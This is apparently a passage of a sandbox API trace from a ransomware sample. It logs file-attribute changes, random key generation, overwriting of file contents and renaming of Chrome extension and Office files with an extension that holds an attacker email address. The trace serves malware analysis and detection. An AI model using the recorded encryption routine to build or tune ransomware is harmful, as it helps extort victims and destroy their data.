(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8800) returned 1 [0191.807] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9158 [0191.808] wcscpy (in: _Dest=0xd4c9158, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" [0191.808] wcscat (in: _Dest=0xd4c9158, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.808] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x682f954, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.808] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x934fc0 Thread: id = 7945 os_tid = 0x1458 [0186.449] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json")) returned 0x2020 [0186.449] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", dwFileAttributes=0x20) returned 1 [0189.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1754 [0189.591] GetFileSizeEx (in: hFile=0x1754, lpFileSize=0x7b1fa24 | out: lpFileSize=0x7b1fa24*=272) returned 1 [0189.591] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x10c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.591] ReadFile (in: hFile=0x1754, lpBuffer=0x7b1f9a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b1f9a4, lpOverlapped=0x0 | out: lpBuffer=0x7b1f9a8*, lpNumberOfBytesRead=0x7b1f9a4*=0x4, lpOverlapped=0x0) returned 1 [0189.591] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.591] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d87d8 [0189.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8760 [0189.592] NtQuerySystemTime (in: CurrentTime=0x7b1f984 | out: CurrentTime=0x7b1f984*=132174899641882000) returned 0x0 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x661076b2 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x7c54e3fe [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x71eaf1b [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x3c13363 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x3f26d505 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x6ceb8f52 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x5adb756a [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x8447a05 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x3c6a62cd [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x1261026f [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x7fb053df [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x2b77a455 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x144ff1a1 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x615f0bec [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x52cc840c [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x365dd819 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x13b19084 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x4289441f [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x65e1d954 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x1faa6cae [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x14347290 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x59a1a04 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x67bf05c2 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x7f2d1d28 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x3c5658d2 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x31fb48a7 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0xe3d50a9 [0189.592] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x536147a3 [0189.593] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x4fd51180 [0189.593] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x4c35665f [0189.593] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x1d83d679 [0189.593] RtlRandomEx (in: Seed=0x7b1f990 | out: Seed=0x7b1f990) returned 0x66e4f6bb [0189.605] ReadFile (hFile=0x1754, lpBuffer=0xd4f8870, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x7b1f980, lpOverlapped=0x0) [0189.606] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.606] WriteFile (in: hFile=0x1754, lpBuffer=0xd505078*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x7b1f97c, lpOverlapped=0x0 | out: lpBuffer=0xd505078*, lpNumberOfBytesWritten=0x7b1f97c*=0x110, lpOverlapped=0x0) returned 1 [0191.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938338 [0191.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938360 [0191.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938360) returned 1 [0191.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0191.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0191.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c878) returned 1 [0191.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0191.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6de0 [0191.678] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.678] WriteFile (in: hFile=0x1754, lpBuffer=0x12cf54f0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x7b1f9e4, lpOverlapped=0x0 | out: lpBuffer=0x12cf54f0*, lpNumberOfBytesWritten=0x7b1f9e4*=0x10b, lpOverlapped=0x0) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf54f0) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6e10) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938360) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6de0) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938338) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d87d8) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8738) returned 1 [0191.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8710) returned 1 [0191.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9778 [0191.812] wcscpy (in: _Dest=0xd4c9778, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" [0191.812] wcscat (in: _Dest=0xd4c9778, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.812] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7b1f99c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.812] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x9352f0 Thread: id = 7991 os_tid = 0xdd0 [0186.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js")) returned 0x20 [0186.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", dwFileAttributes=0x20) returned 0 [0186.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.753] GetLastError () returned 0x5 [0186.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js", dwFileAttributes=0x20) returned 0 [0186.753] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7c38) returned 1 Thread: id = 7992 os_tid = 0xdd4 [0186.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl")) returned 0x20 [0186.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl", dwFileAttributes=0x20) returned 0 [0186.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.755] GetLastError () returned 0x5 [0186.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.xsl", dwFileAttributes=0x20) returned 0 [0186.755] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f71d0) returned 1 Thread: id = 7993 os_tid = 0xdd8 [0186.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif")) returned 0x20 [0186.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF", dwFileAttributes=0x20) returned 0 [0186.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\minus.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.763] GetLastError () returned 0x5 [0186.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\MINUS.GIF", dwFileAttributes=0x20) returned 0 [0186.763] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 7994 os_tid = 0xddc [0186.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif")) returned 0x20 [0186.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF", dwFileAttributes=0x20) returned 0 [0186.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\plus.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.764] GetLastError () returned 0x5 [0186.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\PLUS.GIF", dwFileAttributes=0x20) returned 0 [0186.764] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7e88) returned 1 Thread: id = 7995 os_tid = 0x85c [0186.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif")) returned 0x20 [0186.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF", dwFileAttributes=0x20) returned 0 [0186.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\spacer.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.766] GetLastError () returned 0x5 [0186.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\SPACER.GIF", dwFileAttributes=0x20) returned 0 [0186.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7fb0) returned 1 Thread: id = 7996 os_tid = 0x864 [0186.767] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json")) returned 0x2020 [0188.465] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json", dwFileAttributes=0x20) returned 1 [0192.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13d8 [0194.542] GetFileSizeEx (in: hFile=0x13d8, lpFileSize=0x5bcf8bc | out: lpFileSize=0x5bcf8bc*=238) returned 1 [0194.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9093c0 [0194.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092a8 [0194.542] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9097a8 [0194.542] NtQuerySystemTime (in: CurrentTime=0x5bcf81c | out: CurrentTime=0x5bcf81c*=132174899691334000) returned 0x0 [0194.542] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x7545ded0 [0194.542] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x276699c6 [0194.542] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x29b5a773 [0194.542] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x524a1294 [0194.542] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x6e948c36 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x58629108 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x1c52e48 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x3665cfda [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x5d1eb20b [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x27fca1c8 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x49407830 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0xa2715c1 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x2359d9bb [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x58886dc6 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x57e5762d [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x6557cfd [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x7f675fae [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x6eded875 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x398e23e8 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x672e6acb [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x3911b0d9 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x6022beb3 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x8143116 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x55ab9e9f [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x3dd2e331 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x79d0d757 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x31a50b64 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x7cc19079 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x14879441 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x21b77711 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x8e67f44 [0194.543] RtlRandomEx (in: Seed=0x5bcf828 | out: Seed=0x5bcf828) returned 0x144949c7 [0194.555] ReadFile (hFile=0x13d8, lpBuffer=0x135ac820, nNumberOfBytesToRead=0xee, lpNumberOfBytesRead=0x5bcf818, lpOverlapped=0x0) [0194.556] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.556] WriteFile (in: hFile=0x13d8, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x5bcf814, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0x5bcf814*=0xee, lpOverlapped=0x0) returned 1 [0195.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938568 [0195.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9385b8 [0195.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9385b8) returned 1 [0195.890] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0195.894] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135ac820) returned 1 [0195.894] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f08) returned 1 [0195.894] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9b58) returned 1 [0195.894] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6a20 [0195.894] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.894] WriteFile (in: hFile=0x13d8, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x5bcf87c, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x5bcf87c*=0x10b, lpOverlapped=0x0) returned 1 [0195.977] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 